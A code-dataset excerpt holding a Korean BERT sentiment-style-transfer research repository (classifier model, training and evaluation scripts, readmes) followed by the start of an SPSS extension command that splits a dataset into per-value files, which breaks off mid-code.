"/Not_preserving_context_v3/readme.txt", "repo_name": "rungjoo/korea_sentiment_style_transfer", "src_encoding": "UTF-8", "text": "## 생성 실험\nno dropout\n~30000 step: aed_loss = (1-w)*recon_loss + bp_loss \n~50000 step: aed_loss = (1-w)*recon_loss + (1+w)*bp_loss # 30000 steps change to (1+w)\n\ntest set model_cls accuracy: 83.95%\ntest set model generated sentence cls accuracy: 82.016%\ntest set model recon_generated sentence cls accuracy: 89.85%\n\n## model_cls만 따로 학습해보자." }, { "alpha_fraction": 0.5273898839950562, "alphanum_fraction": 0.5671321153640747, "avg_line_length": 37.55555725097656, "blob_id": "44e57426145aee4a929d898e7ce0a317538b1130", "content_id": "71ce83ba4184524abf29e28aad610c3f0cb6a03c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2793, "license_type": "no_license", "max_line_length": 189, "num_lines": 72, "path": "/classifier_v3/cls_model.py", "repo_name": "rungjoo/korea_sentiment_style_transfer", "src_encoding": "UTF-8", "text": "import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom itertools import chain\n\nimport sys\nsys.path.insert(0, \"/DATA/joosung/pytorch_pretrained_BERT_master\")\nfrom pytorch_pretrained_bert.tokenization import load_vocab\nfrom pytorch_bert_embedding import *\n\nclass BertClassifier(nn.Module):\n def __init__(self, drop_rate=0, gpu = True):\n super().__init__() \n self.gpu = gpu\n self.emb_dim = 768\n \n \"\"\"\n evaluation bert classifier\n \"\"\"\n self.channel_out = 100\n self.conv2d_2 = nn.Conv2d(1,self.channel_out,(2,self.emb_dim))\n self.conv2d_3 = nn.Conv2d(1,self.channel_out,(3,self.emb_dim))\n self.conv2d_4 = nn.Conv2d(1,self.channel_out,(4,self.emb_dim))\n self.conv2d_5 = nn.Conv2d(1,self.channel_out,(5,self.emb_dim))\n self.fc_drop = nn.Dropout(drop_rate)\n self.disc_fc = nn.Linear(4*self.channel_out, 2) \n \n ## parameters\n self.cls_params = list(self.conv2d_2.parameters())+list(self.conv2d_3.parameters())+list(self.conv2d_4.parameters())+list(self.conv2d_5.parameters())+list(self.disc_fc.parameters())\n\n \n def classifier(self, cls_token_value):\n \"\"\"\n cls_token_value: (batch, seq_len, emb_dim)\n \"\"\"\n word_2d = cls_token_value.unsqueeze(1) # (batch, 1, seq_len, word_dim)\n\n x2 = F.relu(self.conv2d_2(word_2d)).squeeze(3) # bi-gram, (batch, channel_out, seq_len-1)\n x3 = F.relu(self.conv2d_3(word_2d)).squeeze(3) # 3-gram, (batch, channel_out, seq_len-2)\n x4 = F.relu(self.conv2d_4(word_2d)).squeeze(3) # 4-gram, (batch, channel_out, seq_len-3)\n x5 = F.relu(self.conv2d_5(word_2d)).squeeze(3) # 5-gram, (batch, channel_out, seq_len-4)\n \n # Max-over-time-pool\n x2 = F.max_pool1d(x2, x2.size(2)).squeeze(2) # (batch, channel_out)\n x3 = F.max_pool1d(x3, x3.size(2)).squeeze(2) # (batch, channel_out)\n x4 = F.max_pool1d(x4, x4.size(2)).squeeze(2) # (batch, channel_out)\n x5 = F.max_pool1d(x5, x5.size(2)).squeeze(2) # (batch, channel_out)\n \n x = torch.cat([x2, x3, x4, x5], dim=1) # (batch, channel_out*4)\n\n y1 = self.fc_drop(x)\n y2 = self.disc_fc(y1) # (batch, 2)\n\n if self.gpu == True:\n return y2.cuda()\n else:\n return y2\n \n \n def cls_loss(self, targets, cls_out):\n \"\"\"\n targets: (batch, 2) / attributes [0,1] or [1,0]\n cls_out: (batch, 2) (logits) \"\"\"\n \n final_targets = targets.argmax(1) # (batch)\n cls_loss = F.cross_entropy(cls_out, final_targets)\n \n if self.gpu == True: \n return cls_loss.cuda()\n else:\n return cls_loss\n \n " }, { "alpha_fraction": 0.5299769639968872, "alphanum_fraction": 0.5495772361755371, "avg_line_length": 34.65068435668945, "blob_id": "37333451eb08d84c45b4cb89410332b9d9314647", "content_id": "7096a4b37ea1a2bf0269697aefa9af29ffd875ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5208, "license_type": "no_license", "max_line_length": 180, "num_lines": 146, "path": "/classifier_v3/gen_cls_evaluation.py", "repo_name": "rungjoo/korea_sentiment_style_transfer", "src_encoding": "UTF-8", "text": "import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport os\nfrom itertools import chain\nfrom tqdm import tqdm\n\nimport sys\nsys.path.insert(0, \"/DATA/joosung/pytorch_pretrained_BERT_master\")\nfrom pytorch_pretrained_bert.tokenization import load_vocab\nfrom pytorch_bert_embedding import *\nimport torch.optim as optim\n\nbert_model, bert_tokenizer = bert_model_load('bert-base-multilingual-cased')\nvocab_size = 6222\n\nvocab = load_vocab('/DATA/joosung/pytorch_pretrained_BERT_master/korea_vocab.txt')\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\ngpu_use = True \n\nfrom cls_model import BertClassifier\nmodel = BertClassifier(drop_rate=0, gpu=gpu_use)\n\nmodel_name='nodrop/bert_classifier_50000'\nmodel.load_state_dict(torch.load('models/{}'.format(model_name)))\n\nmodel = model.to(device)\nmodel.eval()\n\ndef main():\n mb_size = 1 \n f = open(\"../../sentiment_data/nsmc-master/generation_data_v3.txt\", 'r')\n lines = f.readlines()\n data_number = len(lines)-1\n n_iter = data_number\n \n real_num = 0\n fake_num = 0\n \n real_correct = 0\n fake_correct = 0\n \n line_number = 0\n for it in tqdm(range(n_iter)):\n cls_value_list = []\n labels = []\n\n inputsize = 0 # count batch size\n while inputsize < mb_size:\n line_number = line_number % data_number + 1\n \n token_value_list = []\n\n input_line = lines[line_number]\n \n k=0\n while True:\n if input_line[k] == ' ':\n break\n k+=1\n input_split = [input_line.strip()[:k], input_line.strip()[k:-1].strip(), input_line.strip()[-1]] \n# input_split = re.split('\\t', input_line)\n \n input_sentence = input_split[1]\n input_label = input_split[2].strip()\n\n condition = True\n try:\n input_label = float(input_label)\n\n if len(input_sentence) < 1 or (len(bert_tokenizer.tokenize(input_sentence))==1 and bert_tokenizer.tokenize(input_sentence)[0]=='[UNK]'):\n condition = False\n else:\n condition = True\n except:\n condition = False \n\n if condition:\n if it % 2 == 0:\n real_num += 1\n else:\n fake_num += 1\n \n if int(input_label) == 0: # negative\n input_label = [1, 0]\n else: # positive\n input_label = [0, 1]\n labels.append(input_label)\n\n output_bert = embedding(input_sentence, bert_model, bert_tokenizer) \n \n for token_order in range(len(output_bert['features'])):\n token_value = np.asarray(output_bert['features'][token_order]['layers'][0]['values'])\n token_value = torch.from_numpy(token_value)\n token_value = token_value.unsqueeze(0)\n token_value_list.append(token_value) \n token_value_emb = torch.cat(token_value_list,0) # (token_len, emb_dim)\n token_value_emb = token_value_emb.unsqueeze(1).type(torch.FloatTensor) # (token_len, 1, emb_dim)\n token_value_emb = token_value_emb[1:-1,:,:] # without [CLS], [SEP]\n\n cls_value_list.append(token_value_emb) # [(token_len, 1, 768),...]\n\n inputsize += 1\n\n ## inference\n cls_input = padding_values(cls_value_list).type(torch.FloatTensor).to(device) # (token_len, batch, 768)\n cls_input = cls_input.transpose(0, 1) # (batch, token_len, 768)\n \n cls_out = model.classifier(cls_input) # (batch, 2)\n\n if cls_out.argmax(1).item() == input_label.index(1) and it%2 == 0:\n real_correct+=1\n if cls_out.argmax(1).item() == input_label.index(1) and it%2 == 1:\n fake_correct+=1\n\n if (it+1) % 10000 == 0:\n print(\"Real accuracy: {}%, Fake accuracy: {}%\".format(real_correct/real_num*100, fake_correct/fake_num*100))\n\n print(\"Accuracy: {}%, Real accuracy: {}%, Fake accuracy: {}%\".format((real_correct+fake_correct)/(real_num+fake_num)*100, real_correct/real_num*100, fake_correct/fake_num*100))\n print(\"Test set 구성, positive: {}, negative: {}\".format(real_num, fake_num))\n\ndef padding_values(emb_list):\n max_len = 5 # original 0 \n for i in range(len(emb_list)): \n if max_len < emb_list[i].shape[0]:\n max_len = emb_list[i].shape[0]\n \n padding_list= []\n for i in range(len(emb_list)):\n emb = emb_list[i]\n bert_dim = emb.shape[2]\n \n padding_length = max_len-emb.shape[0]\n padding_zero = np.zeros([padding_length, 1, bert_dim])\n padding_tensor = torch.from_numpy(padding_zero).type(torch.FloatTensor) \n \n padding_emb = torch.cat([emb, padding_tensor], 0)\n \n padding_list.append(padding_emb)\n \n return torch.cat(padding_list,1) \n\nif __name__ == '__main__':\n torch.cuda.empty_cache()\n main()" }, { "alpha_fraction": 0.5580982565879822, "alphanum_fraction": 0.5766423344612122, "avg_line_length": 33.72602844238281, "blob_id": "3c6639d28a3a091ea8f7a019bc1cfcd4e06524d5", "content_id": "1c5267fbe3d8e5827093bc116d1d288418a65b73", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5069, "license_type": "no_license", "max_line_length": 152, "num_lines": 146, "path": "/classifier_v3/cls_train.py", "repo_name": "rungjoo/korea_sentiment_style_transfer", "src_encoding": "UTF-8", "text": "import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport os\nfrom itertools import chain\nfrom tqdm import tqdm\n\nimport sys\nsys.path.insert(0, \"/DATA/joosung/pytorch_pretrained_BERT_master\")\nfrom pytorch_pretrained_bert.tokenization import load_vocab\nfrom pytorch_bert_embedding import *\nimport torch.optim as optim\n\nbert_model, bert_tokenizer = bert_model_load('bert-base-multilingual-cased')\n\nfrom tensorboardX import SummaryWriter\nsummary = SummaryWriter(logdir='./logs/nodrop')\n\nn_iter = 50000\nvocab_size = 6222\nmb_size = 32\n\nvocab = load_vocab('/DATA/joosung/pytorch_pretrained_BERT_master/korea_vocab.txt')\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\ngpu_use = True \n\nfrom cls_model import BertClassifier\nmodel = BertClassifier(drop_rate=0, gpu=gpu_use)\n\n# model_name='drop0.4/bert_classifier_20000'\n# model.load_state_dict(torch.load('models/{}'.format(model_name)))\n\nmodel = model.to(device)\nmodel.train()\n\ndef main():\n initial_lr = 0.001\n cls_trainer = optim.Adamax(model.cls_params, lr=initial_lr) # initial 0.001\n max_grad_norm = 10\n weight_decay = 5000\n\n f = open(\"../../sentiment_data/nsmc-master/ratings_train.txt\", 'r')\n lines = f.readlines()\n data_number = len(lines)-1\n\n line_number = 0\n for it in tqdm(range(n_iter)):\n if (it+1) % weight_decay == 0:\n initial_lr = initial_lr / 2\n cls_trainer = optim.Adamax(model.cls_params, lr=initial_lr) # initial 0.001\n \n cls_value_list = []\n labels = []\n\n inputsize = 0 # count batch size\n while inputsize < mb_size:\n line_number = line_number % data_number + 1\n \n token_value_list = []\n\n input_line = lines[line_number]\n input_split = re.split('\\t', input_line)\n input_sentence = input_split[1]\n input_label = input_split[2].strip()\n\n condition = True\n try:\n input_label = float(input_label)\n\n if len(input_sentence) < 1 or (len(bert_tokenizer.tokenize(input_sentence))==1 and bert_tokenizer.tokenize(input_sentence)[0]=='[UNK]'):\n condition = False\n else:\n condition = True\n except:\n condition = False \n\n if condition:\n if input_label == 0:\n input_label = [1, 0]\n else:\n input_label = [0, 1]\n labels.append(input_label)\n\n output_bert = embedding(input_sentence, bert_model, bert_tokenizer) \n \n for token_order in range(len(output_bert['features'])):\n token_value = np.asarray(output_bert['features'][token_order]['layers'][0]['values'])\n token_value = torch.from_numpy(token_value)\n token_value = token_value.unsqueeze(0)\n token_value_list.append(token_value) \n token_value_emb = torch.cat(token_value_list,0) # (token_len, emb_dim)\n token_value_emb = token_value_emb.unsqueeze(1).type(torch.FloatTensor) # (token_len, 1, emb_dim)\n token_value_emb = token_value_emb[1:-1,:,:] # without [CLS], [SEP]\n\n cls_value_list.append(token_value_emb) # [(token_len, 1, 768),...]\n\n inputsize += 1\n \n gt = torch.from_numpy(np.asarray(labels)).type(torch.FloatTensor).to(device) # (batch, 2)\n cls_input = padding_values(cls_value_list).type(torch.FloatTensor).to(device) # (token_len, batch, 768)\n cls_input = cls_input.transpose(0, 1) # (batch, token_len, 768)\n \n cls_out = model.classifier(cls_input) # (batch, 2)\n loss = model.cls_loss(gt, cls_out)\n\n cls_trainer.zero_grad()\n loss.backward()\n grad_norm = torch.nn.utils.clip_grad_norm_(model.cls_params, max_grad_norm) \n cls_trainer.step()\n\n summary.add_scalar('cls_loss', loss.item(), it)\n\n if (it+1) % 10000 == 0:\n save_model(it+1)\n\n\ndef padding_values(emb_list):\n max_len = 0\n for i in range(len(emb_list)): \n if max_len < emb_list[i].shape[0]:\n max_len = emb_list[i].shape[0]\n \n padding_list= []\n for i in range(len(emb_list)):\n emb = emb_list[i]\n bert_dim = emb.shape[2]\n \n padding_length = max_len-emb.shape[0]\n padding_zero = np.zeros([padding_length, 1, bert_dim])\n padding_tensor = torch.from_numpy(padding_zero).type(torch.FloatTensor) \n \n padding_emb = torch.cat([emb, padding_tensor], 0)\n \n padding_list.append(padding_emb)\n \n return torch.cat(padding_list,1)\n \ndef save_model(iter):\n if not os.path.exists('models/nodrop'):\n os.makedirs('models/nodrop')\n torch.save(model.state_dict(), 'models/nodrop/bert_classifier_{}'.format(iter))\n\nif __name__ == '__main__':\n torch.cuda.empty_cache()\n main()" }, { "alpha_fraction": 0.6892109513282776, "alphanum_fraction": 0.7342995405197144, "avg_line_length": 28.571428298950195, "blob_id": "8e93566ec34274dc20b9e21fe8788028e5951789", "content_id": "9ede0acdf5ee8cb1fe7e7b3006c49c3c8f73deba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 751, "license_type": "no_license", "max_line_length": 94, "num_lines": 21, "path": "/README.md", "repo_name": "rungjoo/korea_sentiment_style_transfer", "src_encoding": "UTF-8", "text": "# BERT을 이용한 한국어 문장의 스타일 변화\n2019 한글 및 한국어 정보처리학회 HCLT\n\n### Requirements\n1. Pytorch\n2. Python3\n3. [NSMC 데이터](https://github.com/e9t/nsmc)\n4. Pre-trained multilingual-BERT & vocab\n5. (option) tensorboardX\n\n### 실험 목록\n1. 모델의 논문: Not_preserving_context_v3\n2. BERT embedding classifier: classifier_v3\n - BERT embedding후 BERT CNN classifier\n - 즉 Toward model에서의 classifier와 동일\n3. Word embedding classifier: classifier_v4 \n - Toward model classifier 부분만 학습\n\n### 논문 링크\n1. [2019-HCLT 논문집링크](http://hclt.kr/symp/?lnb=conference)\n2. [논문 링크](https://drive.google.com/file/d/1lAx0aN2h_cuNuHaPdbOA9L7uGtEBfknF/view?usp=sharing)\n" }, { "alpha_fraction": 0.75, "alphanum_fraction": 0.7699999809265137, "avg_line_length": 32.33333206176758, "blob_id": "1c3426c352428cc77f59f518efc4d5a55948a49e", "content_id": "860711785b0a5dc4d303b1fc5242694fbe38576c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 132, "license_type": "no_license", "max_line_length": 34, "num_lines": 3, "path": "/classifier_v3/Readme.md", "repo_name": "rungjoo/korea_sentiment_style_transfer", "src_encoding": "UTF-8", "text": "## BERT embedding후 CNN classifier\n- v1,v2에서는 CNN이 아닌 FC layer 사용\n- 즉 Toward model에서의 classifier와 동일\n" }, { "alpha_fraction": 0.5281229615211487, "alphanum_fraction": 0.5434924960136414, "avg_line_length": 31.537233352661133, "blob_id": "ad52663f968266a6e20874123aa5ffe1e635bc20", "content_id": "4cfb6c586fa33bdba3add1d556975dae0180c162", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6116, "license_type": "no_license", "max_line_length": 180, "num_lines": 188, "path": "/Not_preserving_context_v3/gen_cls_evaluation.py", "repo_name": "rungjoo/korea_sentiment_style_transfer", "src_encoding": "UTF-8", "text": "import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom itertools import chain\nfrom tqdm import tqdm\n\nimport sys\nsys.path.insert(0, \"/DATA/joosung/pytorch_pretrained_BERT_master\")\nfrom pytorch_pretrained_bert.tokenization import load_vocab\nfrom pytorch_bert_embedding import *\nimport torch.optim as optim\n\nbert_model, bert_tokenizer = bert_model_load('bert-base-multilingual-cased')\n\nvocab_size = 6222\nmb_size = 1\n\nvocab = load_vocab('/DATA/joosung/pytorch_pretrained_BERT_master/korea_vocab.txt')\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n# device = \"cpu\"\ngpu_use = True \n\nfrom model import TowardModel\nmodel = TowardModel(gpu=gpu_use)\nmodel_name='simple_model_50000'\nmodel.load_state_dict(torch.load('models/{}'.format(model_name)))\n\nmodel = model.to(device)\nmodel.eval()\n\ndef main():\n f = open(\"../../sentiment_data/nsmc-master/generation_data_v3.txt\", 'r')\n lines = f.readlines()\n data_number = len(lines)-1\n n_iter = data_number\n \n real_num = 0\n fake_num = 0\n \n real_correct = 0\n fake_correct = 0\n\n line_number = 0\n accuracy = 0\n total = n_iter\n for it in tqdm(range(n_iter)):\n inputs_value = []\n inputs_token = []\n labels = []\n\n inputsize = 0 # count batch size\n while inputsize < mb_size:\n line_number = line_number % data_number + 1\n\n token_value_list = []\n token_list = []\n\n input_line = lines[line_number]\n\n k=0\n while True:\n if input_line[k] == ' ':\n break\n k+=1\n input_split = [input_line.strip()[:k], input_line.strip()[k:-1].strip(), input_line.strip()[-1]] \n\n input_sentence = input_split[1]\n input_label = input_split[2].strip()\n\n condition = True\n try:\n input_label = float(input_label)\n\n if len(input_sentence) < 1 or (len(bert_tokenizer.tokenize(input_sentence))==1 and bert_tokenizer.tokenize(input_sentence)[0]=='[UNK]'):\n condition = False\n else:\n condition = True\n except:\n condition = False \n\n if condition:\n if it % 2 == 0:\n real_num += 1\n else:\n fake_num += 1 \n \n if input_label == 0:\n input_label = [1, 0]\n else:\n input_label = [0, 1]\n labels.append(input_label)\n\n output_bert = embedding(input_sentence, bert_model, bert_tokenizer) \n\n for token_order in range(len(output_bert['features'])):\n try:\n token_list.append(vocab[output_bert['features'][token_order]['token']])\n except:\n token_list.append(vocab['[UNK]']) \n\n tokens = np.asarray(token_list[:-1]) # without [SEP]\n tokens = torch.from_numpy(tokens)\n inputs_token.append(tokens) # [[token_len], ...]\n\n inputsize += 1\n\n dec_token = padding_tokens(inputs_token).to(device)\n\n attributes = torch.from_numpy(np.asarray(labels)).type(torch.FloatTensor).to(device)\n\n ## inference\n cls_out = model.discriminator(dec_token[:,1:-1])\n if cls_out.argmax(1).item() == input_label.index(1) and it%2 == 0:\n real_correct+=1\n if cls_out.argmax(1).item() == input_label.index(1) and it%2 == 1:\n fake_correct+=1 \n \n if (it+1) % 10000 == 0:\n print(\"Real accuracy: {}%, Fake accuracy: {}%\".format(real_correct/real_num*100, fake_correct/fake_num*100))\n\n print(\"Real num: {}, Fake num: {}\".format(real_num, fake_num))\n print(\"Accuracy: {}%, Real accuracy: {}%, Fake accuracy: {}%\".format((real_correct+fake_correct)/(real_num+fake_num)*100, real_correct/real_num*100, fake_correct/fake_num*100))\n\n\ndef padding_values(emb_list):\n max_len = 5 # original 0, 7??\n for i in range(len(emb_list)): \n if max_len < emb_list[i].shape[0]:\n max_len = emb_list[i].shape[0]\n \n padding_list= []\n for i in range(len(emb_list)):\n emb = emb_list[i]\n bert_dim = emb.shape[2]\n \n padding_length = max_len-emb.shape[0]\n padding_zero = np.zeros([padding_length, 1, bert_dim])\n padding_tensor = torch.from_numpy(padding_zero).type(torch.FloatTensor) \n \n padding_emb = torch.cat([emb, padding_tensor], 0)\n \n padding_list.append(padding_emb)\n \n return torch.cat(padding_list,1)\n\ndef padding_tokens(tokens_list):\n \"\"\"\n tokens: list [[token ... token], ..., [token ... token]] mbsize / seq_len\n ouput_tokens: [max_length, mb_size] \n \"\"\"\n max_len = 7 # original 0\n for i in range(len(tokens_list)): \n if max_len < len(tokens_list[i]):\n max_len = len(tokens_list[i])\n \n PAD_IDX = 2\n SEP_IDX = 4\n for k in range(len(tokens_list)):\n padding_length = max_len - len(tokens_list[k])\n \n padding_list = []\n for p in range(padding_length):\n padding_list.append(PAD_IDX)\n \n padding_tokens = np.asarray(padding_list)\n padding_tokens = torch.from_numpy(padding_tokens)\n if padding_length > 0:\n tokens_list[k] = torch.cat([tokens_list[k], padding_tokens])\n \n sep_list = np.asarray([SEP_IDX])\n sep_tokens = torch.from_numpy(sep_list)\n tokens_list[k] = torch.cat([tokens_list[k], sep_tokens]).unsqueeze(0)\n \n return torch.cat(tokens_list, 0)\n\ndef postprocessing(token_list):\n sentence = token_list[0]\n \n sentence = sentence.replace('[PAD]', '')\n sentence = sentence.replace('[SEP]', '')\n# sentence = sentence.replace('[UNK]', '')\n \n return sentence.strip()\n\nif __name__ == '__main__':\n torch.cuda.empty_cache()\n main()" } ]
14
iFranklinZhao/SPSSINC_SPLIT_DATASET
https://github.com/iFranklinZhao/SPSSINC_SPLIT_DATASET
63dd4627eb82184a2bed32966097e43f47d4cc9c
c62a561d320858771697dfc5302b297cb1c7cf6e
f54e37f0c1ec0a0381a615f68b97d2e80dd58e0b
refs/heads/master
2020-03-23T13:06:06.832882
2016-02-03T15:39:12
2016-02-03T15:39:12
141,599,952
1
0
Apache-2.0
2018-07-19T15:41:16
2016-02-03T15:39:13
2016-02-03T15:39:12
null
[ { "alpha_fraction": 0.6057106256484985, "alphanum_fraction": 0.6117722392082214, "avg_line_length": 39.97385787963867, "blob_id": "eb382d10bd26b8b8e9e65c009c2d15f6393b8322", "content_id": "a37c10369ed84ed1fa66ef1748fb68fdb8028df9", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 31345, "license_type": "permissive", "max_line_length": 167, "num_lines": 765, "path": "/src/SPSSINC_SPLIT_DATASET.py", "repo_name": "iFranklinZhao/SPSSINC_SPLIT_DATASET", "src_encoding": "UTF-8", "text": "from __future__ import with_statement\n\n\"\"\"SPSSINC SPLIT DATASET extension command\"\"\"\n#Licensed Materials - Property of IBM\n#IBM SPSS Products: Statistics General\n#(c) Copyright IBM Corp. 2010, 2014\n#US Government Users Restricted Rights - Use, duplication or disclosure \n#restricted by GSA ADP Schedule Contract with IBM Corp.\n__author__ = 'spss, JKP'\n__version__= '1.2.2'\n\n# history\n# 08-feb-2010 original version\n# 31-mar-2010 expand file handles for file list log if V18 or later\n# 24-jan-2011 allow multiple split variables and patterns in directory paths\n# 08-feb-2011 add FILENAMESUBS keywordf\n# 07-mar-2011 file handle support in DIRECTORY keyword in class Filename\n# 09-dec-2011 bug fix for delete\n# 23-jul-2013 prevent multiple missing value definitions from causing file conflict\n\nhelptext = \"\"\"SPSSINC SPLIT DATASET\nSPLITVAR=variable-names\n/OUTPUT\n[DIRECTORY=\"directory-specification-for-output\"] [DELETECONTENTS={NO* | YES}] \n[MAKETEMPDIR={NO* | YES}]] [FILENAME=\"filename\"]\n[/OPTIONS [NAMES={VALUES*|LABELS|NUMBERS}] FILENAMESUBS={ASDIR* | VALUES | LABELS}\n[NAMEPREFIX=\"nameprefix\"]\n[PRINTLIST={YES* | NO}\n[FILELIST=\"filespec\"]]\n[/HELP]\n\nThis command writes a collection of datasets with all the cases for each value of the split variable(s)\nin a different dataset. It facilitates executing arbitrary blocks of syntax for each distinct split value.\nThe extension command SPSSINC PROCESS FILES can be used to apply syntax to each of the\nfiles written by this command.\n\nExample:\nspssinc split dataset splitvar= educ\n/output directory=\"c:/temp/target\" deletecontents=yes\n/options names=values filelist=\"c:/temp/target/files.txt\" printlist=yes.\n\nData do not need to be sorted by the split variable for this command.\n\nThe output file name is by default constructed from the variable values or labels\nwith an underscore(_) between parts if multiple variables are used.\nFILENAME can be used to override these names. It can be a pattern such as\ndescribed below for directories. It is always given an sav extension.\n\nSystem-missing values are written to a dataset named $Sysmis.sav.\nA blank string value will be written to a dataset named .sav (no rootname).\nSuch names are legal, but on some operating systems a directory listing will not show\nnames starting with a period by default.\n\nSPLITVAR names one or more string or numeric variables that define the splits. \nIf numeric, the values must be integers.\n\nDIRECTORY optionally names a directory for the output. If not specified, the current\nworking directory for the SPSS Processor is used. The specified directory will be created\nif it does not already exist.\n\nThe directory can be a simple path such as \"c:\\project\\splits\" or it can refer to some or\nall of the variables used in splitting. To refer to a variable value, use the variable name\nin the path like this \"${varname}\". For example, if splitting by variables xvar and yvar,\nyou could write\nDIRECTORY = \"c:/mydata/abc${xvar}/${yvar}\". if xvar has values \"xyz\" and \"KLM\" and\nyvar has values 1 and 2, then directories\nc:/mydata/abcxyz/1, c:/mydata/abcxyz/2, c:/mydata/abcKLM/1, and c:/mydata/abcKLM/2\ncould be created and used. Only value combinations actually occurring in the data will\nbe created or used. \nNotes: \n- On a case-insensitive file system such as used by Windows,\nthe files created could be different from other systems.\n- Characters typically not allowed in directory names are replaced with underscores (_).\nThese are \" * ? < > |\n\nIf MAKETEMPDIR is specified, a new temporary directory is created and used for the\noutput. DIRECTORY must not be specified if this option is used.\n\nDELETECONTENTS specifies whether all SPSS sav files are removed before new files are\nwritten. Use with caution! It cannot be used if DIRECTORY is not specified. If the directory specification\nincludes variable substitutions, only directory references for values in the dataset being split\nwill be cleared.\n\nNAMES can specify VALUES, the default, or LABELS or NUMBERS. It determines how\nthe output directories and files are named. For VALUES the file names are like value.sav, \nfor LABELS, the file names are the label.sav; for numbers, the file names are sequential numbers.\nIf NAMES=NUMBERS and there is a directory pattern, the variable values are used\nto expand that pattern. The NAMES setting determines whether values or labels are\ndisplayed in the detailed output pivot table.\n\nCharacters in the values or labels that would be illegal in a file name, including those listed\nabove and / or \\, are replaced by the underscore character (_). \nIf using LABELS, the value is used if there is no label.\n\nBy default, the same NAMES choice is used for file names. You can override this by\nspecifying FILENAMESUBS = VALUES or LABELS.\n\nIf NAMEPREFIX is specified, that text plus _ will be prefixed to the output file names.\nNAMEPREFIX cannot be combined with FILENAME.\n\nIf specified, FILELIST names a file that will contain a list of all the files that were written\nalong with the associated values. This file can be used as input to SPSSINC PROCESS FILES.\nIf file handles are in use, the paths in the log are expanded to the true names if using V18\nor later, but Viewer output is left in terms of the handles\n\n/HELP displays this help and does nothing else.\n\"\"\"\n\n# Notes: V17 max XSAVES is 10. V18 is 64.\n\nimport spss, spssaux\nfrom extension import Template, Syntax, processcmd\nimport sys, locale, tempfile, random, os, glob, re, codecs, string\n\n\nv18okay = spssaux.getSpssMajorVersion() >= 18\nv19okay = spssaux.getSpssMajorVersion() >= 19\n\n# Version 18 has a bug related to inserting Unicode text in a pivot table data cell.\n# The following code monkey patches the problematic method just for V18 and earlier\n\nif not v19okay:\n from spss import CellText, Dimension\n import time, datetime\n \n def SimplePivotTable(self,rowdim=\"\",rowlabels=[],coldim=\"\",collabels=[],cells=None):\n \"\"\"Monkey Patch for unicode-in-cells bug for V18 and earlier\"\"\"\n\n error.Reset()\n\n try:\n # If cells is None, neither rowlabels nor collabels is allowed.\n if cells is None:\n if len(rowlabels) > 0:\n error.SetErrorCode(1032)\n if error.IsError():\n raise SpssError,error\n elif len(collabels) > 0:\n error.SetErrorCode(1032)\n if error.IsError():\n raise SpssError,error\n\n # Make a local copy. We don't want to change the original labels.\n tmpRowLabels = list(rowlabels)\n tmpColLabels = list(collabels)\n except TypeError:\n error.SetErrorCode(1004)\n if error.IsError():\n raise SpssError,error\n\n # Check the structure of cells.\n nRows = 0\n nCols = 0\n\n # None or empty cells is okay at this point.\n if cells is not None:\n nRows = len(cells)\n if nRows > 0:\n if not isinstance(cells[0],str):\n try:\n #check if cells[0] is iterable.\n nCols = len([(i, x) for (i,x) in enumerate(cells[0])])\n except TypeError:\n nCols = 1\n else:\n nCols = 1\n\n if tmpRowLabels <> [] and tmpColLabels <> []:\n nRows = len(tmpRowLabels)\n nCols = len(tmpColLabels)\n elif tmpRowLabels <> []:\n nRows = len(tmpRowLabels)\n # If there are no labels for the column dimension, the length of the first cells item is used.\n tmpColLabels.extend([\"col\"+str(x) for x in range(nCols)])\n elif tmpColLabels <> []:\n nCols = len(tmpColLabels)\n # If there are no labels for the row dimension, the number of rows in Cells is used.\n tmpRowLabels.extend([\"row\"+str(x) for x in range(nRows)])\n else:\n tmpRowLabels.extend([\"row\"+str(x) for x in range(nRows)])\n tmpColLabels.extend([\"col\"+str(x) for x in range(nCols)])\n\n tmpRowLabels = map(CellText._CellText__ToCellText,tmpRowLabels)\n tmpColLabels = map(CellText._CellText__ToCellText,tmpColLabels)\n\n tmpCells = []\n\n # cells must match the label structure if the labels are given.\n if nRows > 0 and nCols > 0:\n try:\n # Check cells length and if cells can be indexed as cells[i][j] or cells[i].\n if nCols > 1:\n try:\n x = []\n for c in cells:\n if isinstance(c, (tuple,list)):\n x.append(len(c))\n else:\n x.append(1)\n maxlen = max(x)\n except TypeError:\n maxlen = 1\n if ( 1 == maxlen ):\n assert (len(cells) == nCols * nRows)\n tmpCells = [cells[x*nCols + y] for x in range(nRows) for y in range(nCols)]\n else:\n assert(maxlen == nCols)\n assert(len(cells) == nRows)\n tmpCells = [cells[x][y] for x in range(nRows) for y in range(nCols)]\n else:\n assert(len(cells) == nCols * nRows)\n tmpCells = [cells[x*nCols + y] for x in range(nRows) for y in range(nCols)]\n except:\n error.SetErrorCode(1032)\n if error.IsError():\n raise SpssError, error\n\n # Check if cells[i][j] or cells[i] is scalar (such as sequence).\n for x in tmpCells:\n ###if not isinstance(x,(str, time.struct_time, datetime.datetime, datetime.date)):\n if not isinstance(x,(basestring, time.struct_time, datetime.datetime, datetime.date)):\n try:\n [(i, x) for (i,x) in enumerate(x)]\n error.SetErrorCode(1032)\n if error.IsError():\n raise SpssError, error\n except TypeError:\n pass\n\n tmpCells = map(CellText._CellText__ToCellText,tmpCells)\n\n # If dimension is empty, the dimension label is hidden.\n if rowdim == \"\":\n rowdim = self.Append(Dimension.Place.row,\"rowdim\",True,False)\n else:\n rowdim = self.Append(Dimension.Place.row,rowdim,False,False)\n if 